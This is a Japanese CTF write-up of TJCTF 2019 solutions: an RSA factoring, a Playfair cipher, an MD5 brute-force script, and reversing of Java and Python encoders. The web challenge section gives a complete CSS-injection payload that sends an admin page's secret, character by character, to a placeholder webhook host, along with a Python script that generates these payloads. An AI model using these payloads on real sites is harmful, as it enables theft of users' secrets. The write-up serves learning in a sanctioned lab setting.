TJCTF 2019 writeup

はじめに

TJCTF 2019にNekochanNano!チームで参加していました(835ptsで33位でした).
https://tjctf.org

私のといた問題のwriteupを以下に書いていきます.

注意事項 / Notes

本記事はあくまでサイバーセキュリティに関する情報共有の一環として執筆したものであり,違法な行為を助長するものではありません.
本記事に掲載されている攻撃手法を公開されているシステム等に対して実行するといった行為は決して行わないでください

The purpose of this article is to share information about cybersecurity with the community in order to promote better understanding of modern threats and techniques.
The author does NOT condone illegal activity of any nature; please do not carry out any attacks described herein against any system(s) you do not have explicit permission to attack.

Easy as RSA (Cryptography 20)

n: 379557705825593928168388035830440307401877224401739990998883
e: 65537
c: 29031324384546867512310480993891916222287719490566042302485

n が小さいので素因数分解すれば解けます.
解き方はふつうのRSA暗号を復号するのと変わらないため省略します.

FLAG: tjctf{RSA_2_3asy}

Sportsmanship (Cryptography 20)

It is simply this: do not tire, never lose interest, never grow indifferent—lose your invaluable curiosity and you let yourself die. It's as simple as that.” “I'm a liar and a cheat and a coward, but I will never, ever, let a friend down. Unless of course not letting them down requires honesty, fair play, or bravery.

ciphertext: ROEFICFEENEBZDLFPY

key: UNPROBLEMATICDFGHKQSVWXYZ

Flag format is tjctf{plaintext}

playfair cipher という暗号です.
Webにたくさん解読ツールがころがってるので,それを使うと解けます.

FLAG: tjctf{PRACTICALPLAYFAIRX}

Guess My Hashword (Cryptography 10)

I bet you'll never guess my password!

I hashed tjctf{[word]} - my word has a captial letter, two lowercase letters, a digit, and an underscore. ex: hash('tjctf{o_0Bo}') or hash('tjctf{Aaa0_}')

Here's the md5 hash: 31f40dc5308fa2a311d2e2ba8955df6c

my word has a captial letter, two lowercase letters, a digit, and an underscore とのことなので,総当たりで解けます.
以下のスクリプトを書きました.

import itertools
import hashlib

upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
lower = "abcdefghijklmnopqrstuvwxyz"
num = "0123456789"

C = "31f40dc5308fa2a311d2e2ba8955df6c"

for u in upper:
    for l1 in lower:
        for l2 in lower:
            for n in num:
                seq = [u, l1, l2, n, "_"]

                for plain in itertools.permutations(seq):
                    if hashlib.md5(("tjctf{" + "".join(plain) + "}").encode()).hexdigest() == C:
                        print("---FLAG---")
                        print("tjctf{" + "".join(plain) + "}")
                        return

FLAG: tjctf{w0w_E}

Checker (Reversing 30)

以下のようなJavaプログラムが渡されます.
見た感じwow, woah, lol, encode関数あたりで入力文字をASCIIコードに変換してガチャガチャやっています.

import java.util.*;
public class Checker{
    public static String wow(String b, int s){
        String r = "";
        for(int x=s; x<b.length()+s; x++){
            r+=b.charAt(x%b.length());
        }
        return r;
    }
    public static String woah(String b){
        String r = "";
        for(int x=0; x<b.length(); x++){
            if(b.charAt(x)=='0')
                r+='1';
            else
                r+='0';
        }
        return r;
    }
    public static String lol(int a){
        String s = Integer.toBinaryString(a);
        while(s.length()<8){
            s = "0" + s;
        }
        return s;
    }
    public static String encode(String plain){
        String b = "";
        Stack<Integer> t = new Stack<Integer>();
        for(int x=0; x<plain.length(); x++){
            int i = (int)plain.charAt(x);
            t.push(i);
        }
        for(int x=0; x<plain.length(); x++){
            b += lol(t.pop());
        }
        b = woah(b);
        b = wow(b,9);
        System.out.println(b);
        return b;
    }
    public static boolean check(String flag, String encoded){
        if(encode(flag).equals(encoded))
            return true;
        return false;
    }
    public static void main(String[] args){
        String flag = "redacted";
        String encoded = "10011001001110011001110100011001001010010011100110011101000101010001110100001001001100110001011100111001001010110001011100000101";
        System.out.println(check(flag,encoded));
    }
}

FLAGは変換前の文字列なので,適宜スクリプトを書いて元に戻しました.

def wow_reverse(s):
    return s[-9:] + s[:-9]

def woah_reverse(s):
    r = ""
    for c in s:
        if c == "1":
            r += "0"
        else:
            r += "1"
    
    return r

def lol_reverse(s):
    encoded_list = []

    for i in range(0, len(s), 8):
        encoded_list.append(s[i:i+8])

    return encoded_list

def encode_reverse(s):
    r = ""

    s.reverse()
    for c in s:
        r += chr(int(c, 2))
        
    return r

def decode(encoded):
    return encode_reverse(lol_reverse(woah_reverse(wow_reverse(encoded))))


encoded = "10011001001110011001110100011001001010010011100110011101000101010001110100001001001100110001011100111001001010110001011100000101"
print(decode(encoded))

FLAG: tjctf{qu1cks1c3}

Comprehensive (Reversing 50)

Please teach me how to be a comprehension master, all my friends are counting on me!

comprehensive.py

Original output: 225, 228, 219, 223, 220, 231, 205, 217, 224, 231, 228, 210, 208, 227, 220, 234, 236, 222, 232, 235, 227, 217, 223, 234, 2613

Note: m and k were 24 and 8 characters long originally and english characters.
m = 'tjctf{?????????????????}'.lower()

# 1:eq 2:eq 3:eq 4:2 5:1 6:123 7: 8:
k = '????????'.lower()

f = [[ord(k[a]) ^ ord(m[a+b]) for a in range(len(k))] for b in range(0, len(m), len(k))]
g = [a for b in f for a in b]
h = [[g[a] for a in range(b, len(g), len(f[0]))] for b in range(len(f[0]))]
i = [[h[b][a] ^ ord(k[a]) for a in range(len(h[0]))] for b in range(len(h))]

print(str([a + ord(k[0]) for b in i for a in b])[1:-1] + ',', sum([ord(a) for a in m]))

上記のような内包記法を大量に使ったPythonスクリプトが渡されます.
何の処理をしているかわかりにくかったので,まずは以下のスクリプト(等価なもの)に変換しました.

m = 'tjctf{?????????????????}'.lower()
k = '????????'.lower()

f,g,h,i = [],[],[],[]

for idx,b in enumerate(range(0, 24, 8)):
    f.append([])
    
    for a in range(8):
        f[idx].append(ord(k[a]) ^ ord(m[a+b]))

g = sum(f, [])

for idx,b in enumerate(range(8)):
    h.append([])

    for a in range(b, 24, 8):
        h[idx].append(g[a])

for idx,b in enumerate(range(8)):
    i.append([])

    for a in range(3):
        i[idx].append(h[b][a] ^ ord(k[a]))

print("f:", f)
print("g:", g)
print("h:", h)
print("i:", i)

print()

r = []

for a in sum(i, []):
    r.append(a + ord(k[0]))

print(", ".join(list(map(str, r))), sum(sum(i, [])))

ここから各f, g, h, iの変換内容を確認しつつ,入力値であるmkのうち,どの値が出力のどの値に作用するのかを総当りで調べました.
特に最初は,tjctf{で始まること,}がわかっているため,kの値をいろいろ試しながら出力が目的に値になるように調整していきます.
また,iの合計値もわかっているため,ここからも推察ができます.

m = 'tjctf{oooowakarimashita}'.lower()
k = 'munchkyn'.lower()

FLAG: tjctf{oooowakarimashita}

Moar Horse 3 (Web 100)

I copped this really cool website from online and made it customizable so you can flex your CSS skills on everyone, especially the admin.

Note: When you get the flag, wrap it in tjctf{} before submitting

問題のWebページには以下の特徴があります.

  • 任意のCSSを入力して埋め込むことができる(ただしエスケープはされる)
  • そのCSSをadminに見せることができる
  • adminのh1タグのvalue属性にFLAGがセットされている

問題から見る感じ,明らかにCSS Injectionの手法が使えます.
攻撃手法については,つばめ氏の以下が詳しいです.

https://speakerdeck.com/lmt_swallow/css-injection-plus-plus-ji-cun-shou-fa-falsegai-guan-todui-ce

具体的な方策は以下の通りです.

  • 何らかのWebhookを立てる
  • h1タグのvalueXで始まるなら,backgroundurl("webhook_url.com?secret=X")にアクセスさせる (ここでFLAGの1文字目が判明する)
  • h1タグのvalueXYで始まるなら,backgroundurl("webhook_url.com?secret=XY")にアクセスさせる (ここでFLAGの2文字目が判明する)
  • 上記をFLAGの全文字が判明するまで続ける

具体的に埋め込むCSSは以下のようになります.

h1[value^=0]{background: url(http://your_webhook.com?secret=0)}h1[value^=1]{background: url(http://your_webhook.com?secret=1)}h1[value^=2]{background: url(http://your_webhook.com?secret=2)}h1[value^=3]{background: url(http://your_webhook.com?secret=3)}h1[value^=4]{background: url(http://your_webhook.com?secret=4)}h1[value^=5]{background: url(http://your_webhook.com?secret=5)}h1[value^=6]{background: url(http://your_webhook.com?secret=6)}h1[value^=7]{background: url(http://your_webhook.com?secret=7)}h1[value^=8]{background: url(http://your_webhook.com?secret=8)}h1[value^=9]{background: url(http://your_webhook.com?secret=9)}h1[value^=a]{background: url(http://your_webhook.com?secret=a)}h1[value^=b]{background: url(http://your_webhook.com?secret=b)}h1[value^=c]{background: url(http://your_webhook.com?secret=c)}h1[value^=d]{background: url(http://your_webhook.com?secret=d)}h1[value^=e]{background: url(http://your_webhook.com?secret=e)}h1[value^=f]{background: url(http://your_webhook.com?secret=f)}h1[value^=g]{background: url(http://your_webhook.com?secret=g)}h1[value^=h]{background: url(http://your_webhook.com?secret=h)}h1[value^=i]{background: url(http://your_webhook.com?secret=i)}h1[value^=j]{background: url(http://your_webhook.com?secret=j)}h1[value^=k]{background: url(http://your_webhook.com?secret=k)}h1[value^=l]{background: url(http://your_webhook.com?secret=l)}h1[value^=m]{background: url(http://your_webhook.com?secret=m)}h1[value^=n]{background: url(http://your_webhook.com?secret=n)}h1[value^=o]{background: url(http://your_webhook.com?secret=o)}h1[value^=p]{background: url(http://your_webhook.com?secret=p)}h1[value^=q]{background: url(http://your_webhook.com?secret=q)}h1[value^=r]{background: url(http://your_webhook.com?secret=r)}h1[value^=s]{background: url(http://your_webhook.com?secret=s)}h1[value^=t]{background: url(http://your_webhook.com?secret=t)}h1[value^=u]{background: url(http://your_webhook.com?secret=u)}h1[value^=v]{background: url(http://your_webhook.com?secret=v)}h1[value^=w]{background: url(http://your_webhook.com?secret=w)}h1[value^=x]{background: url(http://your_webhook.com?secret=x)}h1[value^=y]{background: url(http://your_webhook.com?secret=y)}h1[value^=z]{background: url(http://your_webhook.com?secret=z)}h1[value^=A]{background: url(http://your_webhook.com?secret=A)}h1[value^=B]{background: url(http://your_webhook.com?secret=B)}h1[value^=C]{background: url(http://your_webhook.com?secret=C)}h1[value^=D]{background: url(http://your_webhook.com?secret=D)}h1[value^=E]{background: url(http://your_webhook.com?secret=E)}h1[value^=F]{background: url(http://your_webhook.com?secret=F)}h1[value^=G]{background: url(http://your_webhook.com?secret=G)}h1[value^=H]{background: url(http://your_webhook.com?secret=H)}h1[value^=I]{background: url(http://your_webhook.com?secret=I)}h1[value^=J]{background: url(http://your_webhook.com?secret=J)}h1[value^=K]{background: url(http://your_webhook.com?secret=K)}h1[value^=L]{background: url(http://your_webhook.com?secret=L)}h1[value^=M]{background: url(http://your_webhook.com?secret=M)}h1[value^=N]{background: url(http://your_webhook.com?secret=N)}h1[value^=O]{background: url(http://your_webhook.com?secret=O)}h1[value^=P]{background: url(http://your_webhook.com?secret=P)}h1[value^=Q]{background: url(http://your_webhook.com?secret=Q)}h1[value^=R]{background: url(http://your_webhook.com?secret=R)}h1[value^=S]{background: url(http://your_webhook.com?secret=S)}h1[value^=T]{background: url(http://your_webhook.com?secret=T)}h1[value^=U]{background: url(http://your_webhook.com?secret=U)}h1[value^=V]{background: url(http://your_webhook.com?secret=V)}h1[value^=W]{background: url(http://your_webhook.com?secret=W)}h1[value^=X]{background: url(http://your_webhook.com?secret=X)}h1[value^=Y]{background: url(http://your_webhook.com?secret=Y)}h1[value^=Z]{background: url(http://your_webhook.com?secret=Z)}h1[value^=]{background: url(http://your_webhook.com?secret=)}

また,このようなCSSを生成するスクリプトを作成しました.

import base64
import os
import pyperclip

def generate_attack_vector(known_secret, server):
    secret_params = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_"
    attack_vector_tmpl = "h1[value^={known_secret}{try_secret}]{{background: url({server}?secret={known_secret}{try_secret})}}"

    attack_vector = ""
    for secret_param in secret_params:
        attack_vector += attack_vector_tmpl.format(
            known_secret=known_secret,
            try_secret=secret_param,
            server=server
        )

    return attack_vector

def main():
    known_secret = input("[Known Secret] > ")
    server = "http://your_webhook.com"

    attack_vector = generate_attack_vector(
        known_secret=known_secret, 
        server=server)
    
    print("[Attack Vector]")
    print(attack_vector)

    pyperclip.copy(attack_vector)

if __name__ == '__main__':
    main()

これを順次埋め込んでadminに見せるようにすると,以下のようにアクセスが行われ,FLAGが判明します.

f:id:Szarny:20190410181724p:plain

FLAG: tjctf{l0l1nj3ctc55}